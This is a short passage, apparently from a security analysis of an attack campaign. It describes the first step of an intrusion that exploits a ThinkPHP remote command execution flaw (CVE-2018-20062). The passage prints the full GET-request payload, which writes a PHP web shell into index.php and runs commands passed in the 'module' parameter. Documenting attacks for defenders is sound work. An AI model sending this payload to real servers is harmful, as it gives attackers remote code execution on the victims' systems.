The exploitation is issued in three steps:  Exploiting CVE-2018-20062 for uploading a PHP shell  Using a GET request, a remote command execution vulnerability in ThinkPHP (CVE-2018-20062) is sent to the targeted server, as shown below: s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<? php $action = $_GET[‘module’];system($action);? ^>>index.php This shell executes commands sent via the “module” parameter in a query